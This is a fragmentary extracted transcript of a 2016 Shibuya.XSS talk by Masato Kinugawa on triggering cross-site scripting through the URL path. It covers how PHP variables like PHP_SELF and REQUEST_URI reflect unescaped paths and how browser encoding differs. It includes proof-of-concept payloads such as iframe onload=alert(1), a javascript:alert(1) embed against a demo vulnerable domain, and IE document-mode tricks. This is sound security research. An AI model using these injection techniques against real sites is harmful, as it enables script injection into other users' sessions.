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明日から使える?! PATHでXSSする技術/ Shibuya.XSS techtalk #7
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Masato Kinugawa
March 29, 2016
Technology
14
26k
明日から使える?! PATHでXSSする技術/ Shibuya.XSS techtalk #7
Shibuya.XSS techtalk #7 の資料です。
Masato Kinugawa
March 29, 2016
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Transcript
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https://host/tags/aaa/ ... </head> <body> <form> <input type="text" value="aaa"> ...
... </head> <meta property="og:url" content="https://host/path/index"> <body> ... https://host/path/index?p=1
... </head> <meta property="og:url" content="https://host/path/index;aaa"> <body> ... https://host/path/index;aaa?p=1
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http://php.net/index.php http://php.net/index.php/xxx/yyy/zzz
http://shibuyaxss.connpass.com/event/28232/ http://shibuyaxss.connpass.com/event/28232/;abc
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SCRIPT_URL /test.php/<b>PATH</b> SCRIPT_URI http://localhost/test.php/<b>PATH</b> PATH_INFO /<b>PATH</b> PATH_TRANSLATED \<b>PATH<\b> PHP_SELF /test.php/<b>PATH</b>
GET /path?query HTTP/1.1 http://php.net/manual/ja/reserved.variables.server.php
/test.php/<b>PATH</b>?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?%3Cb%3EQUERY% 3C/b%3E HTTP/1.1 QUERY_STRING %3Cb%3EQUERY%3C/b%3E REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E? %3Cb%3EQUERY%3C/b%3E
http://localhost/test.php/<b>PATH</b>?<b>QUERY</b>
/test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> HTTP/1.1 QUERY_STRING <b>QUERY</b> REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> http://localhost/test.php/<b>PATH</b>?<b>QUERY</b>
http://localhost/test.php/<b>PATH</b> GET /test.php/<b>PATH</b> HTTP/1.1
/test.php/%3Cb%3EPATH%3C/b%3E GET /test.php/<b>PATH</b> HTTP/1.1 REQUEST_URI /test.php/<b>PATH</b> location.pathname /test.php/%3Cb%3EPATH%3C/b%3E http://localhost/test.php/<b>PATH</b>
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HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 X-UA-Compatible: IE=9 <head> <meta
http-equiv="X-UA-Compatible" content="IE=9"> </head>
<svg> <circle cx="100" cy="100" r="50" fill="red"/> </svg>
ifr=document.createElement('<iframe onload=alert(1)>'); document.body.appendChild(ifr); InvalidCharacterError
<meta http-equiv="X-UA-Compatible" content="IE=9"> <script> console.log(document.documentMode) /* 9 */ </script> <iframe
src=//victim/></iframe> http://blogs.msdn.com/cfs-filesystemfile.ashx/__key/communityserver-blogs-components- weblogfiles/00-00-01-35-07/3073.IE_5F00_chart_5F00_jp.pdf
<meta http-equiv="X-UA-Compatible" content="IE=9"> <embed src="http://shibuya.vulnerabledoma.in/javascript:alert(1)/% 2F..%2F..%2Fjizen2#hash"></embed>
<script src="//ajax.googleapis.com/ajax/libs/jquerymobile/1.4.5/jquery.mobile.min.js"> </script>
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